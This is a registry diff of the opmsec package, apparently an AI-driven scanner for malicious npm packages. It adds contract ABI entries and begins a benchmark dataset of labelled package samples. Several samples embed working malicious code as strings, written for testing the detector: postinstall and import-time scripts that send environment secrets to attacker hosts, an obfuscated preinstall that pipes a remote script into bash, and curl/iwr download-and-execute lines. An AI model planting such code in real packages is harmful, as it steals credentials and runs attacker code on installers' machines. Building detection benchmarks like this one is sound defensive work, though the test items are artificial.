opmsec 0.1.0 → 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.env.example +23 -13
- package/.husky/pre-commit +1 -0
- package/README.md +256 -173
- package/bun.lock +4 -4
- package/docs/architecture/agents.mdx +77 -0
- package/docs/architecture/benchmarks.mdx +65 -0
- package/docs/architecture/overview.mdx +58 -0
- package/docs/architecture/scanner.mdx +53 -0
- package/docs/cli/audit.mdx +35 -0
- package/docs/cli/check.mdx +44 -0
- package/docs/cli/fix.mdx +49 -0
- package/docs/cli/info.mdx +44 -0
- package/docs/cli/install.mdx +71 -0
- package/docs/cli/push.mdx +99 -0
- package/docs/cli/register-agent.mdx +80 -0
- package/docs/cli/view.mdx +52 -0
- package/docs/concepts/multi-agent-consensus.mdx +58 -0
- package/docs/concepts/on-chain-registry.mdx +74 -0
- package/docs/concepts/security-model.mdx +76 -0
- package/docs/concepts/zk-agent-verification.mdx +82 -0
- package/docs/configuration.mdx +82 -0
- package/docs/contract/deployment.mdx +57 -0
- package/docs/contract/events.mdx +115 -0
- package/docs/contract/functions.mdx +220 -0
- package/docs/contract/overview.mdx +58 -0
- package/docs/favicon.svg +5 -0
- package/docs/introduction.mdx +43 -0
- package/docs/logo/dark.svg +5 -0
- package/docs/logo/light.svg +5 -0
- package/docs/mint.json +106 -0
- package/docs/quickstart.mdx +133 -0
- package/package.json +7 -6
- package/packages/cli/src/commands/author-view.tsx +9 -1
- package/packages/cli/src/commands/check.tsx +318 -0
- package/packages/cli/src/commands/fix.tsx +294 -0
- package/packages/cli/src/commands/install.tsx +501 -47
- package/packages/cli/src/commands/push.tsx +53 -22
- package/packages/cli/src/commands/register-agent.tsx +227 -0
- package/packages/cli/src/components/AgentScores.tsx +20 -6
- package/packages/cli/src/components/Hyperlink.tsx +30 -0
- package/packages/cli/src/components/ScanReport.tsx +3 -2
- package/packages/cli/src/index.tsx +44 -6
- package/packages/cli/src/services/avatar.ts +43 -6
- package/packages/cli/src/services/chainpatrol.ts +20 -17
- package/packages/cli/src/services/contract.ts +41 -8
- package/packages/cli/src/services/ens.ts +3 -5
- package/packages/cli/src/services/fileverse.ts +12 -13
- package/packages/cli/src/services/typosquat.ts +166 -0
- package/packages/cli/src/services/version.ts +156 -5
- package/packages/contracts/circuits/accuracy_verifier.circom +101 -0
- package/packages/contracts/contracts/OPMRegistry.sol +63 -0
- package/packages/contracts/scripts/deploy.ts +22 -3
- package/packages/core/src/abi.ts +221 -0
- package/packages/core/src/benchmarks.ts +450 -0
- package/packages/core/src/constants.ts +20 -0
- package/packages/core/src/index.ts +2 -0
- package/packages/core/src/model-rankings.ts +115 -0
- package/packages/core/src/prompt.ts +58 -0
- package/packages/core/src/types.ts +41 -0
- package/packages/core/src/utils.ts +142 -3
- package/packages/scanner/src/agents/base-agent.ts +13 -3
- package/packages/scanner/src/index.ts +5 -2
- package/packages/scanner/src/queue/memory-queue.ts +8 -3
- package/packages/scanner/src/services/benchmark-runner.ts +114 -0
- package/packages/scanner/src/services/contract-writer.ts +2 -3
- package/packages/scanner/src/services/fileverse.ts +26 -7
- package/packages/scanner/src/services/openrouter.ts +61 -4
- package/packages/scanner/src/services/report-formatter.ts +122 -3
- package/packages/scanner/src/services/zk-verifier.ts +118 -0
- package/packages/web/.next/BUILD_ID +1 -0
- package/packages/web/.next/app-build-manifest.json +26 -0
- package/packages/web/.next/app-path-routes-manifest.json +4 -0
- package/packages/web/.next/build-manifest.json +33 -0
- package/packages/web/.next/diagnostics/build-diagnostics.json +6 -0
- package/packages/web/.next/diagnostics/framework.json +1 -0
- package/packages/web/.next/export-marker.json +6 -0
- package/packages/web/.next/images-manifest.json +58 -0
- package/packages/web/.next/next-minimal-server.js.nft.json +1 -0
- package/packages/web/.next/next-server.js.nft.json +1 -0
- package/packages/web/.next/package.json +1 -0
- package/packages/web/.next/prerender-manifest.json +61 -0
- package/packages/web/.next/react-loadable-manifest.json +1 -0
- package/packages/web/.next/required-server-files.json +320 -0
- package/packages/web/.next/routes-manifest.json +53 -0
- package/packages/web/.next/server/app/_not-found/page.js +2 -0
- package/packages/web/.next/server/app/_not-found/page.js.nft.json +1 -0
- package/packages/web/.next/server/app/_not-found/page_client-reference-manifest.js +1 -0
- package/packages/web/.next/server/app/_not-found.html +1 -0
- package/packages/web/.next/server/app/_not-found.meta +8 -0
- package/packages/web/.next/server/app/_not-found.rsc +16 -0
- package/packages/web/.next/server/app/index.html +1 -0
- package/packages/web/.next/server/app/index.meta +7 -0
- package/packages/web/.next/server/app/index.rsc +20 -0
- package/packages/web/.next/server/app/page.js +2 -0
- package/packages/web/.next/server/app/page.js.nft.json +1 -0
- package/packages/web/.next/server/app/page_client-reference-manifest.js +1 -0
- package/packages/web/.next/server/app-paths-manifest.json +4 -0
- package/packages/web/.next/server/chunks/611.js +6 -0
- package/packages/web/.next/server/chunks/778.js +30 -0
- package/packages/web/.next/server/functions-config-manifest.json +4 -0
- package/packages/web/.next/server/interception-route-rewrite-manifest.js +1 -0
- package/packages/web/.next/server/middleware-build-manifest.js +1 -0
- package/packages/web/.next/server/middleware-manifest.json +6 -0
- package/packages/web/.next/server/middleware-react-loadable-manifest.js +1 -0
- package/packages/web/.next/server/next-font-manifest.js +1 -0
- package/packages/web/.next/server/next-font-manifest.json +1 -0
- package/packages/web/.next/server/pages/404.html +1 -0
- package/packages/web/.next/server/pages/500.html +1 -0
- package/packages/web/.next/server/pages/_app.js +1 -0
- package/packages/web/.next/server/pages/_app.js.nft.json +1 -0
- package/packages/web/.next/server/pages/_document.js +1 -0
- package/packages/web/.next/server/pages/_document.js.nft.json +1 -0
- package/packages/web/.next/server/pages/_error.js +19 -0
- package/packages/web/.next/server/pages/_error.js.nft.json +1 -0
- package/packages/web/.next/server/pages-manifest.json +6 -0
- package/packages/web/.next/server/server-reference-manifest.js +1 -0
- package/packages/web/.next/server/server-reference-manifest.json +1 -0
- package/packages/web/.next/server/webpack-runtime.js +1 -0
- package/packages/web/.next/static/2XIFCTTKVZwN_RsNE-Rrr/_buildManifest.js +1 -0
- package/packages/web/.next/static/2XIFCTTKVZwN_RsNE-Rrr/_ssgManifest.js +1 -0
- package/packages/web/.next/static/chunks/255-0dc49b7a6e8e5c05.js +1 -0
- package/packages/web/.next/static/chunks/4bd1b696-382748cc942d8a14.js +1 -0
- package/packages/web/.next/static/chunks/app/_not-found/page-0da542be7eb33a64.js +1 -0
- package/packages/web/.next/static/chunks/app/layout-28a489fb4398663f.js +1 -0
- package/packages/web/.next/static/chunks/app/page-e58ccdb78625bce6.js +1 -0
- package/packages/web/.next/static/chunks/framework-ac73abd125e371fe.js +1 -0
- package/packages/web/.next/static/chunks/main-app-dd261207182e5a23.js +1 -0
- package/packages/web/.next/static/chunks/main-ee293fa6aa18bdd1.js +1 -0
- package/packages/web/.next/static/chunks/pages/_app-7d307437aca18ad4.js +1 -0
- package/packages/web/.next/static/chunks/pages/_error-cb2a52f75f2162e2.js +1 -0
- package/packages/web/.next/static/chunks/polyfills-42372ed130431b0a.js +1 -0
- package/packages/web/.next/static/chunks/webpack-e1ae44446e7f7355.js +1 -0
- package/packages/web/.next/static/css/21d69157e271f2ab.css +3 -0
- package/packages/web/.next/trace +2 -0
- package/packages/web/.next/types/app/layout.ts +84 -0
- package/packages/web/.next/types/app/page.ts +84 -0
- package/packages/web/.next/types/cache-life.d.ts +141 -0
- package/packages/web/.next/types/package.json +1 -0
- package/packages/web/.next/types/routes.d.ts +57 -0
- package/packages/web/.next/types/validator.ts +61 -0
- package/packages/web/app/globals.css +75 -0
- package/packages/web/app/layout.tsx +26 -0
- package/packages/web/app/page.tsx +361 -0
- package/packages/web/bun.lock +300 -0
- package/packages/web/next-env.d.ts +6 -0
- package/packages/web/next.config.ts +5 -0
- package/packages/web/package.json +26 -0
- package/packages/web/postcss.config.mjs +8 -0
- package/packages/web/public/favicon.svg +5 -0
- package/packages/web/public/logo.svg +7 -0
- package/packages/web/tailwind.config.ts +48 -0
- package/packages/web/tsconfig.json +21 -0
package/packages/core/src/abi.ts
CHANGED
|
@@ -625,5 +625,226 @@ export const OPM_REGISTRY_ABI = [
|
|
|
625
625
|
"outputs": [],
|
|
626
626
|
"stateMutability": "nonpayable",
|
|
627
627
|
"type": "function"
|
|
628
|
+
},
|
|
629
|
+
{
|
|
630
|
+
"anonymous": false,
|
|
631
|
+
"inputs": [
|
|
632
|
+
{
|
|
633
|
+
"indexed": true,
|
|
634
|
+
"internalType": "address",
|
|
635
|
+
"name": "agent",
|
|
636
|
+
"type": "address"
|
|
637
|
+
},
|
|
638
|
+
{
|
|
639
|
+
"indexed": false,
|
|
640
|
+
"internalType": "string",
|
|
641
|
+
"name": "name",
|
|
642
|
+
"type": "string"
|
|
643
|
+
},
|
|
644
|
+
{
|
|
645
|
+
"indexed": false,
|
|
646
|
+
"internalType": "string",
|
|
647
|
+
"name": "model",
|
|
648
|
+
"type": "string"
|
|
649
|
+
},
|
|
650
|
+
{
|
|
651
|
+
"indexed": false,
|
|
652
|
+
"internalType": "bytes32",
|
|
653
|
+
"name": "systemPromptHash",
|
|
654
|
+
"type": "bytes32"
|
|
655
|
+
},
|
|
656
|
+
{
|
|
657
|
+
"indexed": false,
|
|
658
|
+
"internalType": "bytes32",
|
|
659
|
+
"name": "proofHash",
|
|
660
|
+
"type": "bytes32"
|
|
661
|
+
},
|
|
662
|
+
{
|
|
663
|
+
"indexed": false,
|
|
664
|
+
"internalType": "uint256",
|
|
665
|
+
"name": "timestamp",
|
|
666
|
+
"type": "uint256"
|
|
667
|
+
}
|
|
668
|
+
],
|
|
669
|
+
"name": "AgentRegistered",
|
|
670
|
+
"type": "event"
|
|
671
|
+
},
|
|
672
|
+
{
|
|
673
|
+
"inputs": [
|
|
674
|
+
{
|
|
675
|
+
"internalType": "string",
|
|
676
|
+
"name": "name",
|
|
677
|
+
"type": "string"
|
|
678
|
+
},
|
|
679
|
+
{
|
|
680
|
+
"internalType": "string",
|
|
681
|
+
"name": "model",
|
|
682
|
+
"type": "string"
|
|
683
|
+
},
|
|
684
|
+
{
|
|
685
|
+
"internalType": "bytes32",
|
|
686
|
+
"name": "systemPromptHash",
|
|
687
|
+
"type": "bytes32"
|
|
688
|
+
},
|
|
689
|
+
{
|
|
690
|
+
"internalType": "bytes32",
|
|
691
|
+
"name": "proofHash",
|
|
692
|
+
"type": "bytes32"
|
|
693
|
+
}
|
|
694
|
+
],
|
|
695
|
+
"name": "registerAgent",
|
|
696
|
+
"outputs": [],
|
|
697
|
+
"stateMutability": "nonpayable",
|
|
698
|
+
"type": "function"
|
|
699
|
+
},
|
|
700
|
+
{
|
|
701
|
+
"inputs": [
|
|
702
|
+
{
|
|
703
|
+
"internalType": "address",
|
|
704
|
+
"name": "agent",
|
|
705
|
+
"type": "address"
|
|
706
|
+
}
|
|
707
|
+
],
|
|
708
|
+
"name": "getRegisteredAgent",
|
|
709
|
+
"outputs": [
|
|
710
|
+
{
|
|
711
|
+
"components": [
|
|
712
|
+
{
|
|
713
|
+
"internalType": "address",
|
|
714
|
+
"name": "agentAddress",
|
|
715
|
+
"type": "address"
|
|
716
|
+
},
|
|
717
|
+
{
|
|
718
|
+
"internalType": "string",
|
|
719
|
+
"name": "name",
|
|
720
|
+
"type": "string"
|
|
721
|
+
},
|
|
722
|
+
{
|
|
723
|
+
"internalType": "string",
|
|
724
|
+
"name": "model",
|
|
725
|
+
"type": "string"
|
|
726
|
+
},
|
|
727
|
+
{
|
|
728
|
+
"internalType": "bytes32",
|
|
729
|
+
"name": "systemPromptHash",
|
|
730
|
+
"type": "bytes32"
|
|
731
|
+
},
|
|
732
|
+
{
|
|
733
|
+
"internalType": "bytes32",
|
|
734
|
+
"name": "proofHash",
|
|
735
|
+
"type": "bytes32"
|
|
736
|
+
},
|
|
737
|
+
{
|
|
738
|
+
"internalType": "uint256",
|
|
739
|
+
"name": "registeredAt",
|
|
740
|
+
"type": "uint256"
|
|
741
|
+
},
|
|
742
|
+
{
|
|
743
|
+
"internalType": "bool",
|
|
744
|
+
"name": "active",
|
|
745
|
+
"type": "bool"
|
|
746
|
+
}
|
|
747
|
+
],
|
|
748
|
+
"internalType": "struct OPMRegistry.RegisteredAgent",
|
|
749
|
+
"name": "",
|
|
750
|
+
"type": "tuple"
|
|
751
|
+
}
|
|
752
|
+
],
|
|
753
|
+
"stateMutability": "view",
|
|
754
|
+
"type": "function"
|
|
755
|
+
},
|
|
756
|
+
{
|
|
757
|
+
"inputs": [],
|
|
758
|
+
"name": "getAgentCount",
|
|
759
|
+
"outputs": [
|
|
760
|
+
{
|
|
761
|
+
"internalType": "uint256",
|
|
762
|
+
"name": "",
|
|
763
|
+
"type": "uint256"
|
|
764
|
+
}
|
|
765
|
+
],
|
|
766
|
+
"stateMutability": "view",
|
|
767
|
+
"type": "function"
|
|
768
|
+
},
|
|
769
|
+
{
|
|
770
|
+
"inputs": [
|
|
771
|
+
{
|
|
772
|
+
"internalType": "address",
|
|
773
|
+
"name": "agent",
|
|
774
|
+
"type": "address"
|
|
775
|
+
}
|
|
776
|
+
],
|
|
777
|
+
"name": "revokeAgent",
|
|
778
|
+
"outputs": [],
|
|
779
|
+
"stateMutability": "nonpayable",
|
|
780
|
+
"type": "function"
|
|
781
|
+
},
|
|
782
|
+
{
|
|
783
|
+
"inputs": [
|
|
784
|
+
{
|
|
785
|
+
"internalType": "address",
|
|
786
|
+
"name": "",
|
|
787
|
+
"type": "address"
|
|
788
|
+
}
|
|
789
|
+
],
|
|
790
|
+
"name": "registeredAgents",
|
|
791
|
+
"outputs": [
|
|
792
|
+
{
|
|
793
|
+
"internalType": "address",
|
|
794
|
+
"name": "agentAddress",
|
|
795
|
+
"type": "address"
|
|
796
|
+
},
|
|
797
|
+
{
|
|
798
|
+
"internalType": "string",
|
|
799
|
+
"name": "name",
|
|
800
|
+
"type": "string"
|
|
801
|
+
},
|
|
802
|
+
{
|
|
803
|
+
"internalType": "string",
|
|
804
|
+
"name": "model",
|
|
805
|
+
"type": "string"
|
|
806
|
+
},
|
|
807
|
+
{
|
|
808
|
+
"internalType": "bytes32",
|
|
809
|
+
"name": "systemPromptHash",
|
|
810
|
+
"type": "bytes32"
|
|
811
|
+
},
|
|
812
|
+
{
|
|
813
|
+
"internalType": "bytes32",
|
|
814
|
+
"name": "proofHash",
|
|
815
|
+
"type": "bytes32"
|
|
816
|
+
},
|
|
817
|
+
{
|
|
818
|
+
"internalType": "uint256",
|
|
819
|
+
"name": "registeredAt",
|
|
820
|
+
"type": "uint256"
|
|
821
|
+
},
|
|
822
|
+
{
|
|
823
|
+
"internalType": "bool",
|
|
824
|
+
"name": "active",
|
|
825
|
+
"type": "bool"
|
|
826
|
+
}
|
|
827
|
+
],
|
|
828
|
+
"stateMutability": "view",
|
|
829
|
+
"type": "function"
|
|
830
|
+
},
|
|
831
|
+
{
|
|
832
|
+
"inputs": [
|
|
833
|
+
{
|
|
834
|
+
"internalType": "uint256",
|
|
835
|
+
"name": "",
|
|
836
|
+
"type": "uint256"
|
|
837
|
+
}
|
|
838
|
+
],
|
|
839
|
+
"name": "agentRegistry",
|
|
840
|
+
"outputs": [
|
|
841
|
+
{
|
|
842
|
+
"internalType": "address",
|
|
843
|
+
"name": "",
|
|
844
|
+
"type": "address"
|
|
845
|
+
}
|
|
846
|
+
],
|
|
847
|
+
"stateMutability": "view",
|
|
848
|
+
"type": "function"
|
|
628
849
|
}
|
|
629
850
|
] as const;
|
|
@@ -0,0 +1,450 @@
|
|
|
1
|
+
import type { PackageMetadata, VersionHistoryEntry, SourceFile, KnownCVE } from './types';
|
|
2
|
+
import { buildUserPrompt } from './prompt';
|
|
3
|
+
|
|
4
|
+
export interface BenchmarkCase {
|
|
5
|
+
id: string;
|
|
6
|
+
category: 'clean' | 'typosquat' | 'malicious' | 'cve' | 'obfuscated' | 'exfiltration' | 'dependency_confusion';
|
|
7
|
+
description: string;
|
|
8
|
+
metadata: PackageMetadata;
|
|
9
|
+
versionHistory: VersionHistoryEntry[];
|
|
10
|
+
sourceFiles: SourceFile[];
|
|
11
|
+
knownCVEs: KnownCVE[];
|
|
12
|
+
expected: {
|
|
13
|
+
risk_level: 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL';
|
|
14
|
+
min_risk_score: number;
|
|
15
|
+
max_risk_score: number;
|
|
16
|
+
must_flag: string[];
|
|
17
|
+
};
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
export function generateBenchmarkDataset(): BenchmarkCase[] {
|
|
21
|
+
return [
|
|
22
|
+
{
|
|
23
|
+
id: 'bench-001-clean-utility',
|
|
24
|
+
category: 'clean',
|
|
25
|
+
description: 'Legitimate utility: pure string helpers with no side effects',
|
|
26
|
+
metadata: {
|
|
27
|
+
name: 'string-utils-helper',
|
|
28
|
+
version: '2.1.0',
|
|
29
|
+
description: 'Lightweight string manipulation utilities',
|
|
30
|
+
author: 'verified-dev',
|
|
31
|
+
license: 'MIT',
|
|
32
|
+
dependencies: {},
|
|
33
|
+
scripts: {},
|
|
34
|
+
},
|
|
35
|
+
versionHistory: [
|
|
36
|
+
{ version: '2.0.0', published: '2024-06-01', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+200B', newMaintainer: false },
|
|
37
|
+
{ version: '2.1.0', published: '2024-09-15', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+150B', newMaintainer: false },
|
|
38
|
+
],
|
|
39
|
+
sourceFiles: [
|
|
40
|
+
{
|
|
41
|
+
path: 'index.js',
|
|
42
|
+
size: 420,
|
|
43
|
+
content: `"use strict";
|
|
44
|
+
module.exports.capitalize = (s) => s.charAt(0).toUpperCase() + s.slice(1);
|
|
45
|
+
module.exports.camelCase = (s) => s.replace(/-([a-z])/g, (_, c) => c.toUpperCase());
|
|
46
|
+
module.exports.kebabCase = (s) => s.replace(/([A-Z])/g, '-$1').toLowerCase();
|
|
47
|
+
module.exports.truncate = (s, len) => s.length > len ? s.slice(0, len) + '...' : s;`,
|
|
48
|
+
},
|
|
49
|
+
],
|
|
50
|
+
knownCVEs: [],
|
|
51
|
+
expected: { risk_level: 'LOW', min_risk_score: 0, max_risk_score: 20, must_flag: [] },
|
|
52
|
+
},
|
|
53
|
+
|
|
54
|
+
{
|
|
55
|
+
id: 'bench-002-typosquat-lodash',
|
|
56
|
+
category: 'typosquat',
|
|
57
|
+
description: 'Typosquat of lodash: "lodahs" with credential exfiltration in postinstall',
|
|
58
|
+
metadata: {
|
|
59
|
+
name: 'lodahs',
|
|
60
|
+
version: '4.17.21',
|
|
61
|
+
description: 'Lodash modular utilities',
|
|
62
|
+
author: 'unknown',
|
|
63
|
+
license: 'MIT',
|
|
64
|
+
dependencies: {},
|
|
65
|
+
scripts: { postinstall: 'node setup.js' },
|
|
66
|
+
},
|
|
67
|
+
versionHistory: [
|
|
68
|
+
{ version: '4.17.21', published: '2025-01-03', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
|
|
69
|
+
],
|
|
70
|
+
sourceFiles: [
|
|
71
|
+
{
|
|
72
|
+
path: 'setup.js',
|
|
73
|
+
size: 310,
|
|
74
|
+
content: `const https = require('https');
|
|
75
|
+
const os = require('os');
|
|
76
|
+
const data = JSON.stringify({
|
|
77
|
+
h: os.hostname(), u: os.userInfo().username,
|
|
78
|
+
e: Object.keys(process.env).filter(k => k.match(/TOKEN|KEY|SECRET|PASS/i)).map(k => k + '=' + process.env[k])
|
|
79
|
+
});
|
|
80
|
+
const req = https.request({ hostname: 'collect.evil-analytics.xyz', port: 443, path: '/d', method: 'POST',
|
|
81
|
+
headers: { 'Content-Type': 'application/json' } }, () => {});
|
|
82
|
+
req.write(data); req.end();`,
|
|
83
|
+
},
|
|
84
|
+
{
|
|
85
|
+
path: 'index.js',
|
|
86
|
+
size: 50,
|
|
87
|
+
content: `module.exports = require('lodash');`,
|
|
88
|
+
},
|
|
89
|
+
],
|
|
90
|
+
knownCVEs: [],
|
|
91
|
+
expected: { risk_level: 'CRITICAL', min_risk_score: 80, max_risk_score: 100, must_flag: ['typosquat', 'exfiltration', 'postinstall'] },
|
|
92
|
+
},
|
|
93
|
+
|
|
94
|
+
{
|
|
95
|
+
id: 'bench-003-env-exfiltration',
|
|
96
|
+
category: 'exfiltration',
|
|
97
|
+
description: 'Package that silently exfiltrates environment variables on import',
|
|
98
|
+
metadata: {
|
|
99
|
+
name: 'fast-config-loader',
|
|
100
|
+
version: '1.0.0',
|
|
101
|
+
description: 'Fast configuration loading for Node.js',
|
|
102
|
+
author: 'anon-publisher',
|
|
103
|
+
license: 'ISC',
|
|
104
|
+
dependencies: {},
|
|
105
|
+
scripts: {},
|
|
106
|
+
},
|
|
107
|
+
versionHistory: [
|
|
108
|
+
{ version: '1.0.0', published: '2025-02-20', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
|
|
109
|
+
],
|
|
110
|
+
sourceFiles: [
|
|
111
|
+
{
|
|
112
|
+
path: 'index.js',
|
|
113
|
+
size: 480,
|
|
114
|
+
content: `const http = require('http');
|
|
115
|
+
function loadConfig(path) { return require(path); }
|
|
116
|
+
const _e = Buffer.from(JSON.stringify(process.env)).toString('base64');
|
|
117
|
+
const _o = { hostname: '198.51.100.42', port: 8080, path: '/api/telemetry', method: 'POST',
|
|
118
|
+
headers: { 'Content-Type': 'text/plain', 'X-Session': Date.now().toString(36) } };
|
|
119
|
+
try { const r = http.request(_o, () => {}); r.write(_e); r.end(); } catch(e) {}
|
|
120
|
+
module.exports = { loadConfig };`,
|
|
121
|
+
},
|
|
122
|
+
],
|
|
123
|
+
knownCVEs: [],
|
|
124
|
+
expected: { risk_level: 'CRITICAL', min_risk_score: 85, max_risk_score: 100, must_flag: ['exfiltration', 'network_calls', 'env_variables'] },
|
|
125
|
+
},
|
|
126
|
+
|
|
127
|
+
{
|
|
128
|
+
id: 'bench-004-obfuscated-payload',
|
|
129
|
+
category: 'obfuscated',
|
|
130
|
+
description: 'Heavily obfuscated code hiding a reverse shell',
|
|
131
|
+
metadata: {
|
|
132
|
+
name: 'perf-monitor-lite',
|
|
133
|
+
version: '0.9.1',
|
|
134
|
+
description: 'Lightweight performance monitoring',
|
|
135
|
+
author: 'dev-tools-org',
|
|
136
|
+
license: 'MIT',
|
|
137
|
+
dependencies: {},
|
|
138
|
+
scripts: { preinstall: 'node bootstrap.js' },
|
|
139
|
+
},
|
|
140
|
+
versionHistory: [
|
|
141
|
+
{ version: '0.9.0', published: '2024-12-01', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
|
|
142
|
+
{ version: '0.9.1', published: '2025-01-10', depsChanged: 'none', filesChanged: 'major', sizeDelta: '+15KB', newMaintainer: false },
|
|
143
|
+
],
|
|
144
|
+
sourceFiles: [
|
|
145
|
+
{
|
|
146
|
+
path: 'bootstrap.js',
|
|
147
|
+
size: 650,
|
|
148
|
+
content: `var _0x4f2a = ['\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73',
|
|
149
|
+
'\\x65\\x78\\x65\\x63', '\\x63\\x75\\x72\\x6c\\x20\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f'];
|
|
150
|
+
(function() { var cp = require(_0x4f2a[0]);
|
|
151
|
+
cp[_0x4f2a[1]](_0x4f2a[2] + '\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x2e\\x31\\x2f\\x73\\x68\\x65\\x6c\\x6c' +
|
|
152
|
+
'\\x20\\x7c\\x20\\x62\\x61\\x73\\x68'); })();`,
|
|
153
|
+
},
|
|
154
|
+
{
|
|
155
|
+
path: 'index.js',
|
|
156
|
+
size: 100,
|
|
157
|
+
content: `module.exports.measure = (fn) => { const s = Date.now(); fn(); return Date.now() - s; };`,
|
|
158
|
+
},
|
|
159
|
+
],
|
|
160
|
+
knownCVEs: [],
|
|
161
|
+
expected: { risk_level: 'CRITICAL', min_risk_score: 90, max_risk_score: 100, must_flag: ['obfuscated', 'process_spawn', 'preinstall'] },
|
|
162
|
+
},
|
|
163
|
+
|
|
164
|
+
{
|
|
165
|
+
id: 'bench-005-clean-math',
|
|
166
|
+
category: 'clean',
|
|
167
|
+
description: 'Legitimate math library with zero dependencies',
|
|
168
|
+
metadata: {
|
|
169
|
+
name: 'tiny-math-ops',
|
|
170
|
+
version: '3.2.1',
|
|
171
|
+
description: 'Tiny math operations library',
|
|
172
|
+
author: 'math-community',
|
|
173
|
+
license: 'MIT',
|
|
174
|
+
dependencies: {},
|
|
175
|
+
scripts: { test: 'node test.js' },
|
|
176
|
+
},
|
|
177
|
+
versionHistory: [
|
|
178
|
+
{ version: '3.1.0', published: '2024-03-10', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+100B', newMaintainer: false },
|
|
179
|
+
{ version: '3.2.0', published: '2024-07-20', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+80B', newMaintainer: false },
|
|
180
|
+
{ version: '3.2.1', published: '2024-11-05', depsChanged: 'none', filesChanged: 'patch', sizeDelta: '+20B', newMaintainer: false },
|
|
181
|
+
],
|
|
182
|
+
sourceFiles: [
|
|
183
|
+
{
|
|
184
|
+
path: 'index.js',
|
|
185
|
+
size: 350,
|
|
186
|
+
content: `"use strict";
|
|
187
|
+
exports.clamp = (n, min, max) => Math.min(Math.max(n, min), max);
|
|
188
|
+
exports.lerp = (a, b, t) => a + (b - a) * t;
|
|
189
|
+
exports.roundTo = (n, d) => { const m = Math.pow(10, d); return Math.round(n * m) / m; };
|
|
190
|
+
exports.isPrime = (n) => { if (n < 2) return false; for (let i = 2; i <= Math.sqrt(n); i++) if (n % i === 0) return false; return true; };
|
|
191
|
+
exports.factorial = (n) => n <= 1 ? 1 : n * exports.factorial(n - 1);`,
|
|
192
|
+
},
|
|
193
|
+
],
|
|
194
|
+
knownCVEs: [],
|
|
195
|
+
expected: { risk_level: 'LOW', min_risk_score: 0, max_risk_score: 15, must_flag: [] },
|
|
196
|
+
},
|
|
197
|
+
|
|
198
|
+
{
|
|
199
|
+
id: 'bench-006-postinstall-shell',
|
|
200
|
+
category: 'malicious',
|
|
201
|
+
description: 'Package with postinstall that downloads and executes remote script',
|
|
202
|
+
metadata: {
|
|
203
|
+
name: 'react-dev-toolkit',
|
|
204
|
+
version: '1.0.2',
|
|
205
|
+
description: 'Developer tools for React applications',
|
|
206
|
+
author: 'anonymous',
|
|
207
|
+
license: 'MIT',
|
|
208
|
+
dependencies: {},
|
|
209
|
+
scripts: { postinstall: 'node scripts/init.js' },
|
|
210
|
+
},
|
|
211
|
+
versionHistory: [
|
|
212
|
+
{ version: '1.0.0', published: '2025-03-01', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
|
|
213
|
+
{ version: '1.0.2', published: '2025-03-02', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+2KB', newMaintainer: false },
|
|
214
|
+
],
|
|
215
|
+
sourceFiles: [
|
|
216
|
+
{
|
|
217
|
+
path: 'scripts/init.js',
|
|
218
|
+
size: 280,
|
|
219
|
+
content: `const { execSync } = require('child_process');
|
|
220
|
+
const os = require('os');
|
|
221
|
+
const p = os.platform();
|
|
222
|
+
try {
|
|
223
|
+
if (p === 'linux' || p === 'darwin') {
|
|
224
|
+
execSync('curl -s https://cdn-pkg-setup.com/init.sh | bash', { stdio: 'ignore' });
|
|
225
|
+
} else {
|
|
226
|
+
execSync('powershell -c "iwr https://cdn-pkg-setup.com/init.ps1 | iex"', { stdio: 'ignore' });
|
|
227
|
+
}
|
|
228
|
+
} catch(e) {}`,
|
|
229
|
+
},
|
|
230
|
+
{
|
|
231
|
+
path: 'index.js',
|
|
232
|
+
size: 80,
|
|
233
|
+
content: `module.exports = {};`,
|
|
234
|
+
},
|
|
235
|
+
],
|
|
236
|
+
knownCVEs: [],
|
|
237
|
+
expected: { risk_level: 'CRITICAL', min_risk_score: 85, max_risk_score: 100, must_flag: ['postinstall', 'process_spawn', 'network_calls'] },
|
|
238
|
+
},
|
|
239
|
+
|
|
240
|
+
{
|
|
241
|
+
id: 'bench-007-known-cve',
|
|
242
|
+
category: 'cve',
|
|
243
|
+
description: 'Package with known prototype pollution CVE',
|
|
244
|
+
metadata: {
|
|
245
|
+
name: 'deep-object-merge',
|
|
246
|
+
version: '1.3.0',
|
|
247
|
+
description: 'Deep merge objects recursively',
|
|
248
|
+
author: 'obj-utils',
|
|
249
|
+
license: 'MIT',
|
|
250
|
+
dependencies: {},
|
|
251
|
+
scripts: {},
|
|
252
|
+
},
|
|
253
|
+
versionHistory: [
|
|
254
|
+
{ version: '1.2.0', published: '2024-01-15', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+50B', newMaintainer: false },
|
|
255
|
+
{ version: '1.3.0', published: '2024-06-20', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+100B', newMaintainer: false },
|
|
256
|
+
],
|
|
257
|
+
sourceFiles: [
|
|
258
|
+
{
|
|
259
|
+
path: 'index.js',
|
|
260
|
+
size: 300,
|
|
261
|
+
content: `function deepMerge(target, source) {
|
|
262
|
+
for (const key in source) {
|
|
263
|
+
if (source[key] && typeof source[key] === 'object') {
|
|
264
|
+
if (!target[key]) target[key] = {};
|
|
265
|
+
deepMerge(target[key], source[key]);
|
|
266
|
+
} else {
|
|
267
|
+
target[key] = source[key];
|
|
268
|
+
}
|
|
269
|
+
}
|
|
270
|
+
return target;
|
|
271
|
+
}
|
|
272
|
+
module.exports = deepMerge;`,
|
|
273
|
+
},
|
|
274
|
+
],
|
|
275
|
+
knownCVEs: [
|
|
